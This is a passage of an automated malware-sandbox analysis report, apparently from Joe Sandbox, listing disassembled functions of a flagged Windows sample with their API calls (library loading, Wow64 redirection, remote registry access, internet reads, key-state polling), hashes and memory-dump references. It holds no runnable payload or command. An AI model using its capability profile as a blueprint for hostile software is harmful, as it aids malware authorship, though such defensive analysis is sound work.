                                      • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                      • API String ID: 145871493-3689287502
                                      • Opcode ID: ee9a69cb5c327130ebffe96724fb9706d296c1a4c9b06be2ee85eefabb9723da
                                      • Instruction ID: 63a46f65a2938adb6c575472b8f6d68fa30314293b2f637862a78e164cadfb68
                                      • Opcode Fuzzy Hash: ee9a69cb5c327130ebffe96724fb9706d296c1a4c9b06be2ee85eefabb9723da
                                      • Instruction Fuzzy Hash: A8E0867A61B6211B936117156C08E9A6614EFD6B12B050135F908D2300EB54CD01D5B1
                                      Function 008B67FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryA.KERNEL32(kernel32.dll,?,?,008F488B,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B6804
                                      • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 008B6816
                                      • FreeLibrary.KERNEL32(00000000,?,?,008F488B,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B6829
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Library$AddressFreeLoadProc
                                      • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                      • API String ID: 145871493-1355242751
                                      • Opcode ID: 25c5ad0ce4c0fd2a93e25f349555748136ae77edcfcdb7d555f1a5d4901cecd4
                                      • Instruction ID: 5723c4d33a21a08ffcc276efb5dac9b661a8698f7876f119c64be9bfe7b0d48d
                                      • Opcode Fuzzy Hash: 25c5ad0ce4c0fd2a93e25f349555748136ae77edcfcdb7d555f1a5d4901cecd4
                                      • Instruction Fuzzy Hash: ADD0127A55B5215B52721725AC18DCE7E14EECAB263054135B809E2214FF25CD11D6E0
                                      Function 0093A2AE Relevance: 7.8, APIs: 5, Instructions: 256COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentProcessId.KERNEL32 ref: 0093A34E
                                      • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0093A35C
                                      • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0093A38F
                                      • CloseHandle.KERNEL32(?), ref: 0093A564
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$CloseCountersCurrentHandleOpen
                                      • String ID:
                                      • API String ID: 3488606520-0
                                      • Opcode ID: 668b29817efc5344c7808a5c5cff989c4c203b68770da961b49b0e63772ea44d
                                      • Instruction ID: 6d70ffc721b78099546d5423465648c3e294ace6bb87c7e88959c8e0666dd1c5
                                      • Opcode Fuzzy Hash: 668b29817efc5344c7808a5c5cff989c4c203b68770da961b49b0e63772ea44d
                                      • Instruction Fuzzy Hash: B3A17B71604700AFD720DF28C886F6AB7E5EB44710F14886CF99ADB392D7B0ED408B92
                                      Function 0091E319 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0091DCFE: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0091CE40,?), ref: 0091DD1B
                                        • Part of subcall function 0091DCFE: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0091CE40,?), ref: 0091DD34
                                        • Part of subcall function 0091E0B7: GetFileAttributesW.KERNEL32(?,0091CEB3), ref: 0091E0B8
                                      • lstrcmpiW.KERNEL32(?,?), ref: 0091E391
                                      • MoveFileW.KERNEL32(?,?), ref: 0091E3CA
                                      • _wcslen.LIBCMT ref: 0091E509
                                      • _wcslen.LIBCMT ref: 0091E521
                                      • SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0091E56E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
                                      • String ID:
                                      • API String ID: 3183298772-0
                                      • Opcode ID: 90fa3e7d1e7cc5b91ce20ef0009e24279b5986ab8d2c318d0ef5799920156538
                                      • Instruction ID: 52ec53c6308ed1d60bb11fe5761e214056aef4d40c88d5a5c7c8f6966cbb5b85
                                      • Opcode Fuzzy Hash: 90fa3e7d1e7cc5b91ce20ef0009e24279b5986ab8d2c318d0ef5799920156538
                                      • Instruction Fuzzy Hash: B15183B25083899BD724EB94C8819DBB3ECEF85350F40092EF589D3191EF70A689CB57
                                      Function 0093B8F0 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                        • Part of subcall function 0093C8BF: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0093B5D5,?,?), ref: 0093C8DC
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C918
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C98F
                                        • Part of subcall function 0093C8BF: _wcslen.LIBCMT ref: 0093C9C5
                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0093B9CC
                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0093BA27
                                      • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0093BA8A
                                      • RegCloseKey.ADVAPI32(?,?), ref: 0093BACD
                                      • RegCloseKey.ADVAPI32(00000000), ref: 0093BADA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
                                      • String ID:
                                      • API String ID: 826366716-0
                                      • Opcode ID: a0378861afc52d8f04141e979283c7391f24ef7bf6d4317ddb72f011eafe7a17
                                      • Instruction ID: 010cdba67dfd6eec513f7c1b33a56860a038308aaa1647df15c0fabd810bab47
                                      • Opcode Fuzzy Hash: a0378861afc52d8f04141e979283c7391f24ef7bf6d4317ddb72f011eafe7a17
                                      • Instruction Fuzzy Hash: 80619D71208241AFC714DF54C890E6ABBE9FF84308F14895DF5998B2A2DB31ED45CF92
                                      Function 00918B06 Relevance: 7.7, APIs: 5, Instructions: 159COMMON
                                      Download Yara Rule
                                      APIs
                                      • VariantInit.OLEAUT32(?), ref: 00918B23
                                      • VariantClear.OLEAUT32 ref: 00918B94
                                      • VariantClear.OLEAUT32 ref: 00918BF3
                                      • VariantClear.OLEAUT32(?), ref: 00918C66
                                      • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00918C91
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Variant$Clear$ChangeInitType
                                      • String ID:
                                      • API String ID: 4136290138-0
                                      • Opcode ID: a5aef7fce5ed4a37449066a596dc6b5809edd6048c761f30c29ba494d4cacc68
                                      • Instruction ID: 8d04047f5cc09b9754b581d75525d85b3c9f0ac717a27fccc074dc3e961cacc9
                                      • Opcode Fuzzy Hash: a5aef7fce5ed4a37449066a596dc6b5809edd6048c761f30c29ba494d4cacc68
                                      • Instruction Fuzzy Hash: 415167B5A01219EFCB10CF68C894AAAB7F9FF89310B118569E945DB310E734E911CFA0
                                      Function 00928A19 Relevance: 7.6, APIs: 5, Instructions: 143COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00928ACC
                                      • GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00928AF8
                                      • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00928B50
                                      • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00928B75
                                      • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00928B7D
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: PrivateProfile$SectionWrite$String
                                      • String ID:
                                      • API String ID: 2832842796-0
                                      • Opcode ID: 7dc7585e6dc17e96acab2eaebc816c9ac2d52cc5b5abcef0f5aaaaf5db08e479
                                      • Instruction ID: d9e48fc2a4d7d22fe30b1ecbd4b4f9b77c2738fd4b5c2a35df50d84ca2fc7a5d
                                      • Opcode Fuzzy Hash: 7dc7585e6dc17e96acab2eaebc816c9ac2d52cc5b5abcef0f5aaaaf5db08e479
                                      • Instruction Fuzzy Hash: F4515C75A00214DFDB10DF68C881EAABBF5FF48314F088058E909AB362CB71ED41CB91
                                      Function 00938E0B Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryW.KERNEL32(?,00000000,?), ref: 00938E67
                                      • GetProcAddress.KERNEL32(00000000,?), ref: 00938EF7
                                      • GetProcAddress.KERNEL32(00000000,00000000), ref: 00938F13
                                      • GetProcAddress.KERNEL32(00000000,?), ref: 00938F59
                                      • FreeLibrary.KERNEL32(00000000), ref: 00938F79
                                        • Part of subcall function 008CF7A8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00920F61,?,753CE610), ref: 008CF7C5
                                        • Part of subcall function 008CF7A8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0090F94D,00000000,00000000,?,?,00920F61,?,753CE610,?,0090F94D), ref: 008CF7EC
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                      • String ID:
                                      • API String ID: 666041331-0
                                      • Opcode ID: 7afc3674caa5376b3f8c28814f10f017167e102f0655b1289f6ed8bc64184d5d
                                      • Instruction ID: 0bcf000347859bc32a771c667a04d90e74089d7800c8947522b76b92575fae88
                                      • Opcode Fuzzy Hash: 7afc3674caa5376b3f8c28814f10f017167e102f0655b1289f6ed8bc64184d5d
                                      • Instruction Fuzzy Hash: 01511634605245EFCB11EF58C4949AABBF5FF49314B0480A8F816AB362DB35ED85CF92
                                      Function 00946A44 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SetWindowLongW.USER32(00000002,000000F0,?), ref: 00946B01
                                      • SetWindowLongW.USER32(?,000000EC,?), ref: 00946B18
                                      • SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00946B41
                                      • ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0092AA97,00000000,00000000), ref: 00946B66
                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00946B95
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$Long$MessageSendShow
                                      • String ID:
                                      • API String ID: 3688381893-0
                                      • Opcode ID: 93ff1f0e24b7c01647230ef527a84db5a81e6ec121ebe1c0a10b8b193607f48f
                                      • Instruction ID: 52819b431c7d1046add0c20ad0c44936d5657db9019b5df9e45731b20c6d6cc8
                                      • Opcode Fuzzy Hash: 93ff1f0e24b7c01647230ef527a84db5a81e6ec121ebe1c0a10b8b193607f48f
                                      • Instruction Fuzzy Hash: 8E41E3B9A08104AFD724DF68CC58FA97BA9EB4B360F154224F919E73E0C771ED41DA41
                                      Function 008CEA9A Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCursorPos.USER32(?), ref: 008CEAAE
                                      • ScreenToClient.USER32(?,?), ref: 008CEACB
                                      • GetAsyncKeyState.USER32(00000001), ref: 008CEB02
                                      • GetAsyncKeyState.USER32(00000002), ref: 008CEB1C
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AsyncState$ClientCursorScreen
                                      • String ID:
                                      • API String ID: 4210589936-0
                                      • Opcode ID: 4347d408fd3d57958406e1c1c8338314892a9a5089dc56fa566b8f4ce16446b7
                                      • Instruction ID: 1b9ea2b8665301c8e36ad119a9a65aa6deec4f8e76efaf7d1b1f8e9a8a2de01a
                                      • Opcode Fuzzy Hash: 4347d408fd3d57958406e1c1c8338314892a9a5089dc56fa566b8f4ce16446b7
                                      • Instruction Fuzzy Hash: 43417971A0821AAFDB159FA8C844FFEB774FB45324F20861AE429A62D0C730AD50CB61
                                      Function 00923792 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetInputState.USER32 ref: 009237E9
                                      • TranslateAcceleratorW.USER32(?,00000000,?), ref: 00923840
                                      • TranslateMessage.USER32(?), ref: 00923869
                                      • DispatchMessageW.USER32(?), ref: 00923873
                                      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00923884
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                      • String ID:
                                      • API String ID: 2256411358-0
                                      • Opcode ID: f7613efd807d5032f44ed2464b715362cc40683aa84d9ce577a5f49469232a85
                                      • Instruction ID: 6d7bee321f45bb64d6a28ce39abffd0d08096d6d4cf227e3fb763012ec826941
                                      • Opcode Fuzzy Hash: f7613efd807d5032f44ed2464b715362cc40683aa84d9ce577a5f49469232a85
                                      • Instruction Fuzzy Hash: 4931B5B091C2559EEB28CB74F809FB63BACAB05304F04846DF452CB1A4E77D9685EB21
                                      Function 0092CE38 Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,0092C13C,00000000), ref: 0092CE56
                                      • InternetReadFile.WININET(?,00000000,?,?), ref: 0092CE8D
                                      • GetLastError.KERNEL32(?,00000000,?,?,?,0092C13C,00000000), ref: 0092CED2
                                      • SetEvent.KERNEL32(?,?,00000000,?,?,?,0092C13C,00000000), ref: 0092CEE6
                                      • SetEvent.KERNEL32(?,?,00000000,?,?,?,0092C13C,00000000), ref: 0092CF10
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: EventInternet$AvailableDataErrorFileLastQueryRead
                                      • String ID:
                                      • API String ID: 3191363074-0
                                      • Opcode ID: 9357f53cf71b47cf3b2df7a2009412adee16083c6e53e54a1d3f863eb449579d
                                      • Instruction ID: ae73c7911197187f2c8a150f3d440fcfe64921cea06d86389981b8d5f4d76439
                                      • Opcode Fuzzy Hash: 9357f53cf71b47cf3b2df7a2009412adee16083c6e53e54a1d3f863eb449579d
                                      • Instruction Fuzzy Hash: B33189B2A04215EFDB20DFA5E884EAFBBFCEF05351B10442EE506E2145D770EE409BA0
                                      Function 00911845 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetWindowRect.USER32(?,?), ref: 00911859
                                      • PostMessageW.USER32(00000001,00000201,00000001), ref: 00911905
                                      • Sleep.KERNEL32(00000000,?,?,?), ref: 0091190D
                                      • PostMessageW.USER32(00000001,00000202,00000000), ref: 0091191E
                                      • Sleep.KERNEL32(00000000,?,?,?,?), ref: 00911926
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessagePostSleep$RectWindow
                                      • String ID:
                                      • API String ID: 3382505437-0
                                      • Opcode ID: 8ff98b25251ffd75d9f348e18cd1190e5d5056ec161d4376e487ce69f7cb7547
                                      • Instruction ID: 87de1b70532d5a002bc0a9b852d1a892f42bdd8ec3d13e1f7c5a5d4a5e42f4c8
                                      • Opcode Fuzzy Hash: 8ff98b25251ffd75d9f348e18cd1190e5d5056ec161d4376e487ce69f7cb7547
                                      • Instruction Fuzzy Hash: D231E2B1A0021DEFCB00CFA8CC89ADE3BB5EB05315F108265FA21A72D0C3709990DB90
                                      Function 0094563B Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(?,00001053,000000FF,?), ref: 0094567A
                                      • SendMessageW.USER32(?,00001074,?,00000001), ref: 009456D2
                                      • _wcslen.LIBCMT ref: 009456E4
                                      • _wcslen.LIBCMT ref: 009456EF
                                      • SendMessageW.USER32(?,00001002,00000000,?), ref: 0094574B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$_wcslen
                                      • String ID:
                                      • API String ID: 763830540-0
                                      • Opcode ID: 87a7699d8e1dd6cdc251190cfa9684b1275d94ae0a921ece6a7342c8b9a65a72
                                      • Instruction ID: dcac53a18f1a7024c8cd9b7a656af8449a1eb7aa4bd397e2c776a24fbe9cb553
                                      • Opcode Fuzzy Hash: 87a7699d8e1dd6cdc251190cfa9684b1275d94ae0a921ece6a7342c8b9a65a72
                                      • Instruction Fuzzy Hash: B82191719046089BDB219FE4CC44EEDBBBCFF01364F118226E919EA281D77099858F50
                                      Function 00930857 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                      Download Yara Rule
                                      APIs
                                      • IsWindow.USER32(00000000), ref: 00930878
                                      • GetForegroundWindow.USER32 ref: 0093088F
